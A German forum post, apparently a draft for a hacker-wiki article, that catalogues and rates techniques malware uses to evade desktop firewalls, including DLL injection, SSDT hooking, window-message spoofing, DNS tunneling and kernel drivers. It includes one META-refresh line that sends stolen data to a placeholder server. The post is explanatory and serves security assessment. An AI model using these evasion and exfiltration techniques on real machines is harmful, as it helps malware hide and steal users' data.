für Hacker: Desktop Firewall umgehen (inkl. erweiterter Features)

Hallo. Für den Desktopfirewall-Beitrag aus dem HaBo-wiki brauche ich Deine Hilfe. Es wäre nett, wenn Du hier in kurzer Form die Möglichkeiten erklären könntest, die Dir bekannt sind, um eine Desktop Firewall zu umgehen oder außer Gefecht zu setzen. Der Grund ist, dass mir meine Projekte momentan ein wenig über den Kopf wachsen und ich das ohne Hilfe einfach nicht mehr schaffe. Und der Desktopfirewall-Beitrag liegt diesbezüglich schon viel zu lange auf Eis. Eine Liste mir bekannter Angriffsmethoden befindet sich bereits als leere Überschriftensammlung im Beitrag. Sie müssten nun langsam mit kleinen Beschreibungen gefüllt werden, was mit viel Arbeit verbunden ist. Es wäre also nett, wenn sich hier einige Leute finden, die mir durch ihre Beiträge dabei helfen können, den Artikel zu vervollständigen. Zudem denke ich, dass dies ein interessanter Diskussionsthread werden könnte^^

Nachdem wir die Themen hier besprochen haben, werde ich das im wiki-Beitrag einpflegen (natürlich kannst Du Deine Beiträge auch direkt dort eintragen - siehe den Link oben).

Please help.

Nachtrag: Es ist sinnvoll, jeden Beitrag einer der folgenden Sicherheitskategorien zuzuordnen, welche sich auf eine gebräuchliche HOME-Firewall beziehen (auch DLS-Router / -Firewall oder externe Firewall bzw. Hardwarefirewall für den Homebereich genannt). Ziel ist es, deren Möglichkeiten richtig einordnen zu können:
  1. Angriffsmethoden, welche auch eine externe Firewall nicht oder nur rudimentär unterbinden kann
  2. Angriffsmethoden, bei der eine externe Firewall dabei hilft, den Schaden zu begrenzen
  3. Angriffsmethoden, welche sich durch eine externe Firewall verhindern oder deutlich erschweren ließen

Zudem gibt es die folgenden Unterkategorien, welche die für die jeweilige Attacke benötigten Rechte darstellen:
  • Die Malware benötigt Administratorrechte, um die Attacke ausführen zu können. Dies ist natürlich dann gegeben, wenn der Anwender unter einem Administratoraccount arbeitet, während er die Malware unbemerkt startet (oftmals über Autostartmechanismen). Hierbei ist jedoch zu beachten, dass es durchaus genügen kann, wenn die Malware nur ein einziges Mal unter einem Administratoraccount gestartet wurde. Genau wie unter UNIX gibt es auch unter Windows zahlreiche Möglichkeiten, dem Programm von nun ab immer Administratorrechte zu geben (also vollkommen unabhängig von den Rechten der nachfolgenden Anwender => einmal Admin, immer Admin; auch nach jedem Neustart des Rechners).

    Hinweis: In einigen Fällen kann sich die Malware auch Administrationsrechte verschaffen, obwohl sie niemals von einem Administrator aufgerufen wurde. Das ist allerdings nur möglich, wenn das System einen veralteten Stand aufweißt und die Malware so eine bekannte und ungeschlossene Sicherheitslücke des Systems ausnutzen kann.

    Zudem sollte man wissen, dass sämtliche Kennungen unter Windows 3.x, 9x, ME und XP Home (nicht XP Professional) mit Administratorrechten laufen. Hier gibt es also keinen kennungsbezogenen Schutz gegen die Attacke der Malware.
  • Eine normale (unprivilegierte) Benutzerkennung genügt, um die Attacke ausführen zu können.
  • Abhängig von der Desktopfirewall funktioniert die Attacke bei einigen Herstellern nur mit Administratorrechten, währenddessen bei anderen Herstellern die Attacke unter jeder Benutzerkennung funktioniert.
Beispiel: Diese Methode gehört zur Sicherheitskategorie 1B

Bei Attacken aus denen die Richtung der Netzwerkkommunikation nicht eindeutig hervorgeht, werden beide Kommunikationsrichtungen separat betrachtet, um deren Sicherheitskategorie festzulegen:

  • K1 (PC->Internet): Die Malware baut eine Verbindung vom PC zum Internetserver auf. Sie könnte sich z.B. an einen IRC-Server binden, um ihre Anweisungen zu empfangen.

    K2 (Internet->PC): Die Malware bindet sich an einem Port des PCs und wartet auf eine Anfrage aus dem Internet, die an diesen Port gerichtet ist. Ein Rechner aus dem Internet muss also die Verbindung zum PC herstellen, um auf die Malware zugreifen zu können.
Beispiel: K1 (PC->Internet): Sicherheitskategorie 1B / K2 (Internet->PC): Sicherheitskategorie 3


------------------------------------------------------------------------------------------------------------------​
Hinweis vorab: Einige Leser könnten einzig auf Grund der aufgelisteten Umgehungsmöglichkeiten vorschnell zu den Schluss kommen, dass es keinen Sinn ergibt, eine Desktopfirewall einzusetzen. Aus diesem Grund möchte ich an auf den folgenden Artikel hinweisen: Ob und wann der Einsatz einer Desktopfirewall sinnvoll ist.

------------------------------------------------------------------------------------------------------------------​



Zusammenfassung der bisherigen Beiträge (Stand 27.09.2005):

Ziel ist es, die Applikationszugriffskontrolle einer Desktopfirewall zu unterwandern.

In Elderans Beiträgen wurden folgende Methoden benannt:
  • Manchmal ist es möglich, die Applikationszugriffskontrolle einer Desktopfirewall durch das unsanfte Beenden des Moduls einfach auszuhebeln. Die Malware könnte auch den Aufruf des Moduls aus der Registry löschen bzw. durch ähnlich aussehende Programme ersetzen. Zudem lässt sich manchmal das User-Frontends mit dem Dateinamen eines entsprechend präparierten Programms überschreiben.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1C / in Ausnahmefällen auch zur Sicherheitskategorie 2C (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Die Verwendung von Fensternachrichten stellt unter Windows ein Problem für Desktopfirewalls dar. Öffnet die Firewall z.B. einen Dialog, um den Anwender zu fragen, ob eine Applikation auf das Netz zugreifen darf oder nicht, so erzeugt der Klick mit der Maus auf die OK-Taste eine Fensternachricht, welche die Firewallapplikation davon in Kenntnis setzt, das der Anwender genau diese Taste betätigt hat. Das Problem: Die Nachricht kann jedes Programm an den Dialog der Firewallapplikation schicken, ohne dass die Firewallapplikation feststellen kann, ob die Nachricht tatsächlich vom Anwender oder einer Fremdapplikation stammt. Eine Malware kann sich auf diese Weise also selbst die Berechtigung zum Netzwerkzugriff erteilen, noch ehe der Anwender interagieren kann. Der Anwender sieht lediglich ein kurzes Aufflackern des Firewalldialoges, was in der Regel aber derart schnell vonstatten geht, dass der Anwender das nicht als Attacke erkennt.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1B / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Die Fensternachrichten können auch dazu verwendet werden, um einen PC per Internetbrowser komplett fernzusteuern. Ein Beispiel dafür liefert die ?wwwsh?, welche beim Chaos Seminar des CCC Ulm vorgestellt wurde. Als Kommunikationsinterface lässt sich hier das URL-Fenster verwenden, worin die Malware alle Serveranfragen hineinschreibt und dem Server dadurch Daten übermitteln kann. Als Antwort veranlasst der Server, dass der Browser automatisch auf eine andere URL geleitet wird, wodurch sich die URL-Zeile des Browsers verändert. Die veränderte ?Antwort?-Zeile liest die Malware wieder aus und erhält so ihre Anweisungen. Es gibt mehrere Methoden, das Browserfenster zu verstecken, sodass der Anwender keinen Hinweis auf die versteckte Kommunikation erhält. Und wenn der Anwender dem Browser die Erlaubnis erteilt hat, ungefragt mit dem Internet zu kommunizieren, geht diese Kommunikation natürlich durch die Desktopfirewall hindurch.

    Diese Methode gehört zur Sicherheitskategorie 1B
Die Beispiele von +++ATHO:
  • Der Prozess versteht es, sich aus der Prozessliste des Systems auszuklinken. Die Desktopfirewall sieht den Prozess also nicht. Da die Applikationszugriffskontrolle auf einer Prozesskontrolle basiert, geht im ungünstigsten Fall der Netzwerkzugriff an diesem Feature vorbei ? also ohne dass die Desktopfirewall einen Regelverstoß erkennt.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Indem die System Service Dispatch Table modifiziert wird, lässt sich verhindern, dass die Desktopfirewall vom System benachrichtigt wird, wenn ein Netzwerkzugriff erfolgt. Die Malware gaukelt der Desktopfirewall also vor, dass keine Netzaktivität besteht, was zur Folge hat, dass sie den unerlaubten Zugriff nicht bemerkt.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
Im von CDW erwähnten Beitrag wurden folgende Methoden aufgelistet:
  • Als Entscheidungshilfe gibt die Desktopfirewall scheinbar nützliche Informationen zu dem Programm aus, welches gerade versucht, eine Verbindung zum Netzwerk herzustellen. Was viele Anwender nicht wissen, nutzt die Malware schamlos aus: Die Firewall hat gar nicht die Möglichkeit herauszufinden, ob es wirklich das ?Windows Subsystem?, der ?Spoolerdienst? oder die nette ?Malware von nebenan? ist, die auf das Netz zugreifen möchte. Sie vertraut einfach den Informationen, welche sie von der anfragenden Applikation erhält. Die Malware kann sich also frech als ?Internetexplorer? ausgeben oder von sich behaupten, das ?Windows Subsystem? oder ein ähnlich wichtig klingendes Instrument des Betriebsystems zu sein. Viele Anwender erlauben der Applikation daraufhin den Netzwerkzugriff.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1B / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Die Zugriffsregeln der Desktopfirewall können im ungünstigsten Fall einfach von der Malware überschrieben werden. So ändert sie die Einstellungen dahingehend, dass sie eine Verbindung ins Netz aufbauen darf.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1C / in Ausnahmefällen auch zur Sicherheitskategorie 2C (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Die Entwickler von Desktopfirewalls lernen von den Tricks diverser Malware. So fangen einige der Firewalls Systemfunktionen ab, die verwendet werden, um eine Applikation aus einer anderen Applikation heraus zu starten. So können sie erkennen, wenn z.B. der Standardbrowser nicht von dem Anwender, sondern aus einer Fremdapplikation heraus gestartet wurde, um eine Verbindung mit dem Internet zu erhalten (ein Verfahren, welches sich u.a. tag-Trojaner zueigen machen). Per Dialog kann der Anwender dies nun erlauben oder verbieten. Diese Technik soll jedoch zwischen dem Aufruf durch eine Fremdapplikation und dem ?händischen? Aufruf durch den Anwender unterscheiden, da letzteres ja erlaubt ist und daher keine Warnung erzeugen soll. Genau das kann sich die Malware zunutze machen, um diese Barriere zu umgehen. So erzeugt sie z.B. nacheinander folgende Systemnachrichten:

    - Drücken von [Windows-Taste]+[r] zum Öffnen des "Ausführen"-Dialogs
    - maschinelle Eingabe des aufzurufenden Programmnamens + [Enter]-Taste

    Für die Firewallsoftware erscheint der Programmaufruf so, als ob der Anwender ihn von Hand gestartet hätte. Sie erkennt darin keinen Regelverstoß und lässt den Aufruf ohne Warnung zu. Der Anwender sieht lediglich ein sehr kurzes Aufklappen des Run-Dialogs von Windows.

    Diese Methode gehört zur Sicherheitskategorie 1B
  • Ein Plugin-Trojaner kann jederzeit eigene Verbindungen zu seinem Internetserver aufbauen, sobald der Browser gestartet wurde. Da die Verbindungsanforderung aus dem Browserprogramm heraus erfolgt, nachdem der Anwender die Netzwerkkommunikation durch die Firewall hindurch erlaubt hat, passiert auch die geheime Verbindung unbemerkt die Firewall. Diese Kommunikation lässt sich leicht vor den Augen des Anwenders verbergen.

    Diese Methode gehört zur Sicherheitskategorie 1B.
  • Des Weiteren kann eine Malware die Netzwerkpakete einer bestehenden Verbindung um Informationen erweitern und erweiterte Informationen auswerten. So ist ein unbemerkter Informationsaustausch mit dem Kommunikationspartner möglich, der an die Firewall vorbeigeht. Dadurch lässt sich die Malware auch durchaus fernsteuern. Der Clou ist, dass die Malware dazu keine eigene Verbindung zum Internetserver aufbauen muss, was ja bereits auffallen könnte. Sie nutzt vielmehr die bestehende Verbindung, welche sie manipuliert. Allerdings ist das auch der große Nachteil dieser oft zitierten Attacke: Die Malware ist darauf angewiesen, dass der Anwender von sich aus eine Verbindung zu genau diesem Kommunikationspartner aufbaut, damit sie aktiv werden kann.

    Diese Methode gehört zur Sicherheitskategorie 1B.
  • Einige Desktopfirewalls interpretieren die DNS-Anfrage einer Applikation nicht als Netzwerkzugriff, welcher zuvor von dem Anwender erlaubt werden muss. In solchen Fällen kann die Malware auch einen DNS-Tunnel dazu verwenden, um an der Firewall vorbei mit dem Netzwerk zu kommunizieren. Das Tunneln aller anderen Protokolle hingegen hat für sich noch lange keinen Einfluss auf die Funktionstüchtigkeit der Applikationszugriffskontrolle einer Desktopfirewall. Diese muss durch die Malware also noch separat ausgehebelt werden, damit die geheime Netzwerkkommunikation der Desktopfirewall nicht auffällt.

    Diese Methode gehört zur Sicherheitskategorie 1B
  • Eine andere Methode ist es, über dll-Injektion innerhalb eines laufenden Prozesses einen eigenen Thread zu starten. Der Thread läuft sinnbildlich wie ein eigenes Programm im Adressraum des injizierten Prozesses. Die Malware kann so einen Prozess auswählen, der auf das Netz zugreifen darf und unter dem Deckmantel des Prozesses ebenfalls auf das Netz zugreifen. Der Clou: Die Programmdatei des Prozesses wird dabei nicht verändert, sodass ein simpler Quersummencheck noch lange keinen Hinweis auf eine Injektion liefert. Das erscheint logisch, denn der Thread wird durch die Malware immer erst dann injiziert, nachdem der Prozess bereits gestartet wurde. Diesen Job erledigt ein zweiter Prozess, welcher unauffällig im Hintergrund läuft, oder aber ein eigens dafür erzeugter Thread, den der Malwareprozess vorzugsweise in einen Systemdienst injiziert, bevor sich die Malware wieder beendet. So läuft die Malware kaum Gefahr, entdeckt zu werden.

    Diese Methode gehört zur Sicherheitskategorie 1B / wenn der zu injizierende Prozess jedoch nicht dem Benutzer gehört zur Sicherheitskategorie 1A.
  • Einige Desktopfirewalls versuchen die dll-Injektion anhand von bestimmten Funktionsaufrufen zu erkennen (z.B. OpenProcess, VirtuallAllocEx, WriteProcessMemory, CreateRemoteThread, etc.). Dazu wird die passende API gehookt und somit auf die eigene Funktion gelenkt, welche eine höchst eigene Zugriffskontrolle realisiert und bei einem Regelverstoß Alarm auslöst und die Injektion unterbindet. Die Malware kann sich der Kontrolle entziehen, wenn sie die originalen Funktionsadressen direkt anspringt. Dadurch wird die umgeleitete Funktion der Desktopfirewall nicht aufgerufen, weshalb der Zugriff nicht bemerkt wird. Für die Malware wirkt sich diese Methode allerdings Nachteilig aus, wenn sich durch ein Servicepack die System-dll der verwendeten APIs und damit die ersehnte Einsprungadresse ändert.

    Diese Methode gehört zur Sicherheitskategorie 1B.
  • dll-Injektion lässt sich auch durch das Verändern der Programmdatei realisieren. Der Vorteil für die Malware ist, dass es keinen zweiten Prozess bedarf, der die Programmdatei erst dann mit der dll injiziert, wenn das Programm bereits läuft. Auch werden die ggf. überwachten API-Funktionen der indirekten dll-Injektion nicht mehr benötigt. Der Nachteil ist, dass die Veränderung der Programmdatei auffällig ist und nicht nur viele Desktopfirewalls, sondern auch verschiedene Virenscanner auf das Verändern von exe-Code allarmierend reagieren.

    Diese Methode gehört zur Sicherheitskategorie 1B / wenn der Anwender jedoch kein Schreibrecht auf die anzupassende Programmdatei hat, gehört die Methode zur Sicherheitskategorie 1A.
  • Natürlich lässt sich auch durch den Austausch einer von dem Programm beanspruchten dll eine Injektion des eigenen Malware-Threads realisieren.

    Diese Methode gehört zur Sicherheitskategorie 1B / wenn der Anwender jedoch kein Schreibrecht auf die dll-Datei hat, gehört die Methode zur Sicherheitskategorie 1A.
  • Unter Windows lässt sich eine dll-Injektion auch durch die simple Änderung eines Registryeintrags realisieren, welcher bewirkt, dass bei jedem Start einer Applikation auch eine bestimmte dll in deren Prozessraum geladen wird.

    Diese Methode gehört zur Sicherheitskategorie 1A.
Weitere Methoden:
  • Eine Desktopfirewall kann 16-Bit Anwendungen nicht voneinander unterscheiden, wenn diese in einer virtuellen (DOS-) Umgebung ablaufen (ntvdm). Das gilt somit für jede 16-Bit Anwendung, wenn sie unter NT, w2k, XP oder neuer gestartet wird. Gibt man also eine dieser Anwendungen für den Netzwerkzugriff frei, so können auch alle anderen 16-Bit Programme ungehindert auf das Netzwerk zugreifen.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1B / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Vor einem ähnlichen Problem steht die Desktopfirewall mit dem svchost-Prozess. Er realisiert eine ?generische Dienstgruppierung?, was im Klartext bedeutet, dass innerhalb eines svchost-Prozesses mehrere Dienste ablaufen. Das wird aus Performancegründen so realisiert, da das System dadurch nicht mehr zwischen unnötig vielen Prozessen wechseln muss. Es kann mehrere svchost-Prozesse geben. Welche Dienste unter welchem svchost-Prozess zusammengefasst werden, lässt sich frei konfigurieren. Eine Malware kann sich über diesen Weg dort ebenfalls ganz legal einklinken. Die Desktopfirewall sieht so die Malware nicht, da sie kein eigener Prozess ist (sie stellt lediglich einen weiteren Thread der jeweiligen svchost.exe dar). Wurde dem betreffenden svchost-Prozess bereits die Kommunikation mit dem Netz gestattet, so kann nun auch die Malware ungehindert mit dem Netzwerk kommunizieren.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Ein weiteres, unfreiwilliges TOR zur Welt stellen die meisten Anonymisierungsdienste dar. Diese werden im Internetbrowser in der Regel als lokaler Proxy eingetragen. Das bedeutet, dass ein Proxyprogramm auf dem eigenen Rechner läuft und dort an einem lokalen Port auf die Anfragen des Internetexplorers wartet. Diese Anfragen schickt das Programm dann weiter in das Internet. Sinn des Programms ist es, persönliche Daten herauszufiltern, welche der Browser ohne den Proxy ins Netz übertragen würde. Der Proxy kann die Anfrage auch an einen (ggf. dynamisch ermittelten) Proxyserver aus dem Internet schicken, um die eigene Absender-IP-Adresse gegenüber dem Ziel zu verbergen. Wird ein vollwertiger Anonymisierungsdienst verwendet, dann verschlüsselt der lokale Proxy sogar alle zu übertragenen Daten und schickt diese zu einem Partnerserver bzw. einem Serververband ins Netz, der die Daten entschlüsselt und zum Ziel geleitet. So kennt nicht einmal der Internetprovider das Ziel, geschweige denn den Inhalt der Datenpakete.

    Was für die Anonymität gut ist, stellt für die Desktopfirewall ein großes Problem dar. Die Netzwerkkommunikation wird über einen zentralen Prozess geleitet: Den lokalen Proxy. Die meisten Programme übernehmen nun einfach die Proxyeinstellungen des Standardbrowsers, bevor sie mit dem Internet kommunizieren. Hat der Proxy das Recht erhalten, auf das Netzwerk zuzugreifen, dann wurde damit unbewusst die Internetverbindung für alle Programme erlaubt, welche die Browsereinstellung für sich adoptiert haben.

    Diese Methode gehört zur Sicherheitskategorie 1B
  • Das Programm, welches auf das Netzwerk zugreifen darf, kann durch die Malware infiziert oder gar ausgetauscht werden. Leider gibt es noch immer einige Desktopfirewalls, die eine solche Attacke nicht erkennen.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1B (Schreibrecht auf das Programm vorausgesetzt, sonst 1A) / in Ausnahmefällen auch zur Sicherheitskategorie 2B (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Die Malware erhascht zunächst z.B. Passworte oder andere, bis dato geheime Daten. Dann erstellt sie eine lokale html-Datei, welche z.B. die folgende Zeile enthält:

    <META HTTP-EQUIV="refresh" CONTENT="0;URL=http://server.xyz/seite.html?Deine0x-beliebigen0persönlichen00Daten>

    Nun wird die lokale html-Datei mit dem Standardbrowser geöffnet. Das Problem: Der Standardbrowser hat zu einer hohen Wahrscheinlichkeit bereits durch den Anwender das Recht erhalten, ungefragt auf das Internet zugreifen zu dürfen. Arbeitet der Browser die Seite ab und gelangt auf die obige Zeile, so kontaktiert er den dort angegebenen Server und übermittelt ihm so die Daten.

    Um nicht aufzufallen, kann die Internetseite einen harmlosen Text ausgeben oder sogar versteckt gestartet werden, so dass der Anwender den Zugriff nicht bemerkt. Die Firewall kann den Zugriff nicht verhindern, da der Anwender es zuvor irgendwann einmal gestattet hat, dass der Internetbrowser auf das Internet zuzugreifen darf. Sie macht tatsächlich alles richtig und befolgt lediglich die Regeln des Anwenders.

    Diese Methode gehört zur Sicherheitskategorie 1B.
  • Firewalls sind auf vorgefertigte Systemroutinen angewiesen, wie sie z.B. in der winsock.dll bzw. w32sock.dll zu finden sind. Sie werden u.a. benötigt, um auf den TCP/IP-Stack überwachend zugreifen zu können. Es gibt Malware, welche einfach die relevanten dll?s durch eigene Versionen ersetzen, um die Firewall an ihrer Arbeit zu hindern.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Eine Malware die im Kernelspace operiert, kann die Applikationszugriffskontrolle einer Desktopfirewall nicht erkennen. Der Grund ist einfach: Die Malware stellt hierbei keinen Prozess dar, sondern einen Thread aus dem Kernelspace.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Es ist auch möglich über angepasste Geräte- oder Filtertreiber eine Kommunikation mit dem Netz aufzubauen, ohne dass sich eine Applikation sichtbar an einen Port bindet. Bildlich gesehen wird ein Bypass für die Netzwerkkommunikation verwendet, was dazu führt, das die Applikationszugriffskontrolle der Desktopfirewall nicht erkennen kann, wer die Pakete sendet oder empfängt. Zudem kann der Kernelthread des (Filter-) Treibers verhindern, dass die Firewall etwas von dem Datentransfer erfährt.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Ähnlich wie bei einem Bootsektorvirus kann sich eine Malware in den MBR schreiben. So wird sie geladen, noch bevor das Betriebssystem gestartet wird. Auch hier ist es ihr möglich, unbemerkt auf das Netzwerk zuzugreifen. Ob und wie sich die Malware parallel zum geladenen Betriebssystem halten kann, hängt davon ab, welches Betriebssystem verwendet wird. Diese Aufgabe ist allerdings nicht ganz trivial. Natürlich wird kaum jemand den Aufwand betreiben, nur um eine Desktopfirewall zu umgehen. Allerdings gibt es solche Ansätze, um Passworte für verschlüsselte Partitionen zu tracen, welche von dem Verschlüsselungsprogramm noch vor dem Start des Betriebssystems abgefragt werden. Es ist wichtig zu wissen, dass eine solche Malware auch in der Lage ist, die geraubten Informationen über das Netz zu übertragen, ohne dass die installierte Desktopfirewall das verhindern kann.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1 / in Ausnahmefällen auch zur Sicherheitskategorie 2 (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
  • Eine virtuelle Netzwerkkarte (IP-Aliasing) schafft einen eigenen TCP/IP-Stack, der im ungünstigsten Fall einfach an der Desktopfirewall vorbei sendet. Vor allem ältere Desktopfirewalls, die nur eine einzige Netzwerkkarte verwalten können, lassen sich dadurch umgehen. Aber auch einige neue Modelle haben damit Probleme, wenn die virtuelle Netzwerkkarte nicht schon beim Start der Firewallsoftware vorhanden ist.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)

Das Firewallmodul einer Desktopfirewall umgehen (IP-Sperrlisten, Port- und Protokollregeln Außerkraftsetzen):

  • Der IP-Filter einer Desktopfirewall lässt sich bei einigen Modellen durch eine übermäßige Fragmentierung der Nutzdaten umgehen. Dank einer Tiny- bzw. Overlapping-Fragment-Attack kann es somit gelingen, mit einer vermeintlich gesperrten IP-Adresse Zugriff auf einen freigegebenen Dienst des Rechners zu erlangen.

    Diese Methode gehört zur Sicherheitskategorie 1
  • Eine virtuelle Netzwerkkarte (IP-Aliasing) schafft einen eigenen TCP/IP-Stack, der im ungünstigsten Fall einfach an der Desktopfirewall vorbei sendet. Vor allem ältere Desktopfirewalls, die nur eine einzige Netzwerkkarte verwalten können, lassen sich dadurch umgehen. Aber auch einige neue Modelle haben damit Probleme, wenn die virtuelle Netzwerkkarte nicht schon beim Start der Firewallsoftware vorhanden ist.

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1A / in Ausnahmefällen auch zur Sicherheitskategorie 2A (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (der PC ist zwar infiziert, aber die Kommunikation kommt nicht zustande, solange der Malwareport von der externen Firewall nicht auf den PC geleitet wird)
Im von CDW erwähnten Beitrag wurden folgende Methoden aufgelistet:
  • Genau wie bei externen Firewall ist es auch bei Desktopfirewalls möglich, die Portregeln indirekt durch das Tunneln erlaubter Protokolle zu umgehen.

    Diese Methode gehört zur Sicherheitskategorie 1B
  • Manchmal ist es möglich, die Desktopfirewall und damit die Portregeln durch unsanftes Beenden einfach auszuhebeln. Die Malware könnte auch den Aufruf des Firewallmoduls aus der Registry löschen bzw. durch ähnlich aussehende Programme ersetzen. Zudem lässt sich manchmal das User-Frontends mit dem Dateinamen eines entsprechend präparierten Programms überschreiben. Auch ist es bei einigen Desktopfirewalls möglich, die Portregeln durch die Malware direkt zu manipulieren.

    Alle Methoden zur direkten Umgehung von Portregeln einer Desktopfirewall (nicht Tunneln) gehören zur Sicherheitskategorie 2C

Den ??Stealth Mode? umgehen:
  • Viele Desktopfirewalls bieten eine art Tarnkappe für den PC an, genannt ?Stealth Mode?, welche bewirkt, dass der PC auf keinerlei Anfragen aus dem Netz reagiert. Der PC soll sich dadurch im Netz so verhalten, als wäre er nicht anwesend. Das Konzept klingt einleuchtend: Was ein Angreifer nicht sieht, kann er nicht angreifen. Nur ist das nicht ganz richtig. Denn wird eine IP-Adresse per ping angesprochen und ist die IP-Adressen ungültig bzw. der PC nicht eingeschaltet, so erhält der Angreifer normalerweise eine entsprechende Nachricht von der zuständigen Netzwerkkomponente (dem Router). Die Desktopfirewall hingegen beantwortet den ping-request einfach nicht. Keine Antwort ist in diesem Fall also auch eine Antwort: Auf diese Weise signalisiert die Desktopfirewall dem Angreifer, dass es sich um eine gültige IP-Adresse eines Rechners handelt, auf dem eine Desktopfirewall installiert wurde.

    LAN (Angriff aus dem internen Netz heraus): Diese Methode gehört zur Sicherheitskategorie 1

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 3 (der PC ist durch PAT der externen Firewall ohnehin für die Aussenwelt nicht sichtbar)

Sicherheitslücken die durch eine Desktopfirewall überhaupt erst entstehen:
  • Es gibt Desktopfirewalls, die nachweislich eigene Verbindungen zu ihren Internetservern herstellen. Das geschieht natürlich ohne dass sie selbst darauf hinweisen. Hier geht die Kommunikation also nicht einfach nur an die Desktopfirewall vorbei, sondern wird sogar noch von ihr initiiert. Selbst wenn laut Herstellerangaben lediglich Daten für statistische Zwecke übermittelt werden, bleibt das eine höchst fragwürdige Aktion. Denn oftmals wird die Desktopfirewall installiert, weil man solche ungewollten Zugriffe verhindern möchte. Wenn es sich um "closed source"-Produkte handelt, kann man zudem nicht wirklich sicher sein, welche Daten tatsächlich übermittelt wurden und ob es nicht noch andere, geheime Funktionalitäten gibt, die der Anwender nicht wissen soll^^

    K1 (PC->Internet): Diese Methode gehört zur Sicherheitskategorie 1 / in Ausnahmefällen auch zur Sicherheitskategorie 2 (siehe hier)

    K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 2 (die Kommunikation kommt nicht zustande, solange der Port von der externen Firewall nicht auf den PC geleitet wird)
  • Manchmal ist es möglich, durch manipulierte Netzwerkanfragen an den zu schützenden Rechner die Desktopfirewall derart zu überlasten, dass sie nach der Attacke nicht mehr ordnungsgemäß funktioniert. Zumindest aber lässt sich für die Zeit der Attacke das komplette System in die Knie zwingen. Auf diese Weise ermöglicht die Firewallsoftware erst eine DoS-Attacke auf das zu schützende System.

